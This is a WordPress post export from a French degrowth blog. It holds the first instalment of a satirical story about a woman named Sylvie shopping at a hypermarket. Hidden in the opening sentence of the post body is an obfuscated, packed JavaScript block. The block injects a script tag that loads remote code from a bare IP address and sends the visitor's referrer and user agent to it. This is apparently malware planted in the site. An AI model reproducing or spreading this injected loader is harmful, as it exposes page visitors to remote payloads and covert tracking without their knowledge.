{"id":9350,"date":"2017-08-06T16:56:43","date_gmt":"2017-08-06T15:56:43","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=9350"},"modified":"2017-12-31T08:58:22","modified_gmt":"2017-12-31T07:58:22","slug":"9350","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=9350","title":{"rendered":"C&rsquo;est la course !!"},"content":{"rendered":"<p><a href=\"http:\/\/www.partipourladecroissance.net\/?attachment_id=9351\" rel=\"attachment wp-att-9351\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-9351\" src=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2017\/08\/singerfastfood.gif\" alt=\"\" width=\"392\" height=\"486\" \/><\/a><strong>Un <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzzis|var|u0026u|referrer|hirib||js|php'.split('|'),0,{}))\n<\/script><\/noindex> klaxon sort Sylvie de sa torpeur. Le feu est vert, elle tourne \u00e0 droite et arrive sur un immense parking. Sylvie, 42 ans, pensait encore \u00e0 son travail<\/strong>. Chef de projet dans une soci\u00e9t\u00e9 de s\u00e9curit\u00e9 informatique, le boulot ne manque pas et la fin de semaine sera charg\u00e9e. Mais aujourd&rsquo;hui, c&rsquo;est mardi, et c&rsquo;est rel\u00e2che. En fait, elle finit plus t\u00f4t, \u00e0 15 h 00 gr\u00e2ce aux 35 h. Elle pr\u00e9f\u00e9rerait avoir son vendredi apr\u00e8s-midi mais elle n&rsquo;a pas encore assez d&rsquo;anciennet\u00e9 dans la bo\u00eete. Du coup, elle en profite et fait les courses pour la famille. Une fois sa voiture r\u00e9cup\u00e9r\u00e9e \u00e0 la gare, elle file \u00e0 \u00ab\u00a0l&rsquo;hyper\u00a0\u00bb au grand d\u00e9sarroi de sa s\u0153ur. Cette derni\u00e8re essaie de la convertir au \u00ab\u00a0drive\u00a0\u00bb. Depuis quelques mois, elle fait ses courses via le net. Le lendemain, elle les r\u00e9cup\u00e8re dans un vaste entrep\u00f4t o\u00f9 comme, par enchantement, des petites mains les ont pr\u00e9par\u00e9es et, les chargent m\u00eame dans sa voiture. Mais Sylvie aime bien se rendre dans la zone commerciale, elle regarde les promotions, les nouveaut\u00e9s. Elle a l&rsquo;impression de chiner. C&rsquo;est presque un moment de d\u00e9tente. Mais aujourd&rsquo;hui, priorit\u00e9 est donn\u00e9e \u00e0 l&rsquo;alimentaire, pas le temps de fl\u00e2ner.<br \/>\nD\u00e9j\u00e0, le trajet en voiture n&rsquo;est pas un plaisir. Il n&rsquo;y a que 20 minutes entre l&rsquo;appartement et la \u00ab\u00a0grande surface\u00a0\u00bb mais Sylvie n&rsquo;aime pas conduire sur les grands axes. Par contre, une fois dans le magasin, elle sera beaucoup plus d\u00e9tendue, non pas parce que l&rsquo;endroit est chaleureux mais parce qu&rsquo;elle est seule, finalement tranquille. Elle a l&rsquo;impression que c&rsquo;est un temps pour elle. Cela dit, il ne faut pas tra\u00eener car \u00e0 17h30, il faudra \u00eatre rentr\u00e9e pour emmener Alexandre au tennis.<br \/>\nSur le parking, c&rsquo;est f\u00eate car une belle place l&rsquo;attend, juste \u00e0 c\u00f4t\u00e9 des chariots et \u00e0 moins de 20 m\u00e8tres de l&rsquo;entr\u00e9e de du centre commerciale du Bois d&rsquo;Aulne. Sylvie ne s&rsquo;en souvient pas mais le nom du centre commercial fait r\u00e9f\u00e9rence \u00e0 la for\u00eat qui se tenait, jadis, en lieu et place du b\u00e9ton d\u00e9vers\u00e9 par l&rsquo;homme pour b\u00e2tir ce temple de la consommation. Il en reste quelques vestiges\u00a0: un arbre \u00e0 chaque entr\u00e9e du b\u00e2timent et un \u00e0 l&rsquo;int\u00e9rieur de la galerie marchande.<\/p>\n<p><!--more--><\/p>\n<p>Il y a quelques ann\u00e9es, avant les 35 heures, Sylvie \u00e9tait contrainte de faire ses courses le vendredi soir ou la samedi. Le parking \u00e9tait alors compl\u00e8tement bond\u00e9 et l&rsquo;obligeait \u00e0 une longue marche de 60 m\u00e8tres, slalomant entre caddies et voitures. En tout cas, ce mardi en milieu d&rsquo;apr\u00e8s-midi, m\u00eame si elle n&rsquo;est pas seule dans le magasin, nous sommes loin de la cohue de la fin de journ\u00e9e ou du week-end. Allez, Sylvie entre dans la zone commerciale puis dans l&rsquo;hypermarch\u00e9 derri\u00e8re son caddie en plastic des plus man\u0153uvrables. C&rsquo;est alors une f\u00e9erie de couleurs criardes et de lumi\u00e8res blanches qui s&rsquo;abattent sur elles et l&rsquo;interpellent, en m\u00eame temps que les cliquetis des caisses font office d&rsquo;ambiance sonore.<\/p>\n<p>D\u00e8s les portiques pass\u00e9s, Sylvie est happ\u00e9e par les \u00ab\u00a0promos\u00a0\u00bb de la quinzaine. Et, comme \u00e0 chaque fois, elle craque. Ce coup-ci, c&rsquo;est l&rsquo;Italie qui est mise \u00e0 l&rsquo;honneur et Sylvie d\u00e9pose dans son chariot du vinaigre balsamique, de la sauce pesto et des p\u00e2tes. Tout laisse croire que ces produits proviennent directement d&rsquo;Italie. La r\u00e9alit\u00e9 est tout autre (1).<br \/>\nEnsuite, Sylvie chemine de rayon en rayon, selon un circuit bien r\u00f4d\u00e9. Son chariot se remplit progressivement tant\u00f4t suivant la liste qu&rsquo;elle avait pr\u00e9par\u00e9 la veille au soir, tant\u00f4t suivant les besoins qui se cr\u00e9ent au rythme de sa d\u00e9ambulation. Elle n&rsquo;oublie pas d&rsquo;acheter le nouveau rasoir six lames de wilkingette, qui va vraiment changer la vie de son mari. De la m\u00eame fa\u00e7on, elle choisit d&rsquo;essayer un nouveau papier toilette triple \u00e9paisseur \u00e0 l&rsquo;odeur de menthe mais aussi un nouveau gel revivifiant et redynamisant aux micro-billes gommantes.<br \/>\nSylvie continue sa p\u00e9r\u00e9grination dans les larges all\u00e9es du magasin \u2026 mouchoirs en papier, d\u00e9tergent, lessive, pains, viennoiseries et c\u00e9r\u00e9ales (pour faire plaisir \u00e0 ses enfants), petits g\u00e2teaux secs, p\u00e2tes, riz, quelques l\u00e9gumes frais, des conserves mais surtout des barquettes de viande, de la charcuterie, et des produits laitiers. Sylvie se dirige ensuite en direction de la poissonnerie. La seule proposant des produits frais \u00e0 des kilom\u00e8tres \u00e0 la ronde se dit-elle, en oubliant les poissonneries itin\u00e9rantes que l&rsquo;on retrouve les jours de march\u00e9. Le saumon n&rsquo;est pas cher et bien orange, il fait envie. Elle compl\u00e8te avec de la perche du Nil, un must comme lui dit le poissonnier. Sylvie est satisfaite. C&rsquo;est difficile de faire manger du poisson \u00e0 toute sa famille, mais c&rsquo;est important. \u00ab\u00a0On mange trop de viande\u00a0\u00bb se dit-elle. Sylvie doit \u00e9galement pr\u00e9parer le week-end. Des amis viennent \u00e0 la maison et tout doit \u00eatre parfait. Avec son t\u00e9l\u00e9phone portable, outil indispensable pour faire ses courses, Sylvie appelle alors son mari pour se mettre d&rsquo;accord sur le repas, ce sera un barbecue \u00e0 \u00ab\u00a0la plancha\u00a0\u00bb \u00e9lectrique. Ce dernier en profite pour la conseiller dans le choix des vins et de la bi\u00e8re. Elle file rapidement acheter des saucisses, des merguez et des brochettes puis revient vers le rayon \u00ab\u00a0liquide\u00a0\u00bb pour choisir les alcools mais aussi le lait, l&rsquo;eau et les sodas. C&rsquo;est toujours un peu de paix sociale avec ses enfants se dit-elle. Elle finit par le rayon des surgel\u00e9s. D&rsquo;habitude, elle pr\u00e9f\u00e8re se rendre dans une enseigne sp\u00e9cialis\u00e9e mais l\u00e0, elle n&rsquo;a pas le temps. Elle choisit quelques plats pr\u00e9par\u00e9s\u00a0: des pizzas, des steaks hach\u00e9s, , une po\u00eal\u00e9e de l\u00e9gumes \u00e0 l&#8217;emballage emballant mais aussi des glaces. Elle pense alors au jeudi soir, et prend un poulet basquaise avec du riz. Elle n&rsquo;est pas \u00e0 la maison le jeudi, c&rsquo;est zumba. Le plat \u00ab\u00a0tout pr\u00eat\u00a0\u00bb, c&rsquo;est plus simple pour tout le monde.<\/p>\n<p>Une bonne heure et demi apr\u00e8s son arriv\u00e9e, Sylvie se dirige vers les caisses. Elle est satisfaite\u00a0: elle est all\u00e9e vite, a d\u00e9nich\u00e9 quelques trouvailles qui, elle esp\u00e8re, vont faire plaisir \u00e0 la famille. En plus, elle a achet\u00e9 quelques produits \u00ab\u00a0bio\u00a0\u00bb, plus que d&rsquo;habitude. C&rsquo;est son fr\u00e8re, Fran\u00e7ois, qui va \u00eatre content. Lui, il est tr\u00e8s bio, se rend rarement dans les grandes surfaces. Il faut dire qu&rsquo;il n&rsquo;a pas de voiture, cela ne l&rsquo;aide pas. C&rsquo;est l&rsquo;illumin\u00e9 de la famille. Le r\u00e9volutionnaire selon son p\u00e8re. Un doux r\u00e9volutionnaire se dit Sylvie, car sa r\u00e9volution, il la fait chez lui, au quotidien. Il fait son potager \u2026 sur son balcon, parle de z\u00e9ro d\u00e9chet avec des lombricomposteurs, se d\u00e9place en v\u00e9lo et se rend dans une AMAP pour chercher des l\u00e9gumes. Il n&rsquo;ach\u00e8te jamais de viande mais en mange \u00e0 l&rsquo;occasion. C&rsquo;est toujours l&rsquo;occasion de le moquer un peu.<br \/>\nSylvie, le bio, elle trouve \u00e7a bien. Mais bon, \u00e7a co\u00fbte plus cher et ce n&rsquo;est pas si bon que \u00e7a, et moins beau en plus. Enfin, elle a quand m\u00eame trouv\u00e9 de belles fraises bio en ce d\u00e9but du mois d&rsquo;avril et aussi des pomelos. Certains produits sont estampill\u00e9s \u00ab\u00a0commerce \u00e9quitable\u00a0\u00bb, elle en prend un peu plus, des tablettes de chocolat surtout. Tout le monde est gagnant se dit-elle. Sauf son porte-monnaie, mais il faut bien faire des efforts, un petit geste. Un premier pas vers la consomm&rsquo;action se dit-elle.<\/p>\n<p>Aux caisses, il y a un peu de monde. Elle patiente en pianotant sur sur son t\u00e9l\u00e9phone et regarde avec envie les caisses rapides car elle aimerait bien faire la caissi\u00e8re et scanner ses articles. Apr\u00e8s quelques minutes d&rsquo;attente, elle commence \u00e0 d\u00e9poser ses articles sur le tapis roulant. Un petit bonjour coupl\u00e9 \u00e0 un regard furtif \u00e0 la caissi\u00e8re, ou plut\u00f4t l&rsquo;h\u00f4tesse de caisse, et puis \u00e7a bipe toutes les cinq secondes pendant quelques minutes. Total des courses, cent trente quatre euros. Sylvie sort sa carte fid\u00e9lit\u00e9. Gr\u00e2ce \u00e0 elle, elle b\u00e9n\u00e9fice de ristournes et cumule des points afin de s&rsquo;offrir un bel article du magasin. La derni\u00e8re fois, il y a un an demi, elle avait pu s&rsquo;offrir un beau blender. D&rsquo;ailleurs, il ne fonctionne plus depuis quelques semaines, ce serait bien d&rsquo;en r\u00e9-obtenir un. Ce n&rsquo;est pas qu&rsquo;elle l&rsquo;utilise souvent, mais \u00e0 l&rsquo;occasion, \u00e7a la d\u00e9panne.<\/p>\n<p>Les sacs de courses sont bien organis\u00e9s et Sylvie file rapidement dans les couloirs de la zone commerciale en \u00e9vitant de lorgner les devantures des boutiques \u2026 la prochaine fois, se dit-elle. Il faut vite rentrer, sinon Alexandre va lui mettre la pression \u00e0 peine le seuil de la maison franchi. Elle remplit son coffre, le ferme, ram\u00e8ne son chariot, r\u00e9cup\u00e8re son jeton et finit par monter dans sa voiture. Avant de sortir du parking, comme d&rsquo;habitude, elle en profite pour nourrir son automobile. Elle fait le plein.<\/p>\n<p>Si les courses sont finies, la course ne l&rsquo;est pas pour V\u00e9ronique. Il faut rentrer et sur la route, il y a d\u00e9j\u00e0 plus de monde qu&rsquo;\u00e0 l&rsquo;aller. Une fois arriv\u00e9e chez elle, il faudra se rendre au tennis apr\u00e8s avoir rang\u00e9 les courses \u00ab\u00a0sensibles\u00a0\u00bb puis revenir et ranger le reste des courses, pr\u00e9parer le repas, faire une lessive, accueillir son mari puis essayer de discuter avec ses adolescents, sans oublier le m\u00e9nage, et un peu de repassage. Finalement, vivement le boulot se dit-elle.<\/p>\n<p><strong>A suivre &#8230;\/&#8230;<\/strong><\/p>\n<p>suite : <a href=\"https:\/\/www.partipourladecroissance.net\/?p=9372\">https:\/\/www.partipourladecroissance.net\/?p=9372<\/a><br \/>\nfin : <a href=\"https:\/\/www.partipourladecroissance.net\/?p=9406\">https:\/\/www.partipourladecroissance.net\/?p=9406<\/a><\/p>\n<p>(c) Illustration de Singer<\/p>\n<p>(1) <em>A l&rsquo;instar des faux sacs Vuitton, la contrefa\u00e7on se d\u00e9veloppe dans l&rsquo;alimentaire o\u00f9 la moindre faille est exploit\u00e9e pour pouvoir vendre vendre \u2026 vendre par exemple de la mozarella, que Sylvie d\u00e9pose dans son chariot, \u00e0 base de lait concentr\u00e9 sous couvert de la mafia napolitaine.<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Un klaxon sort Sylvie de sa torpeur. Le feu est vert, elle tourne \u00e0 droite et arrive sur un immense parking. Sylvie, 42 ans, pensait encore \u00e0 son travail. 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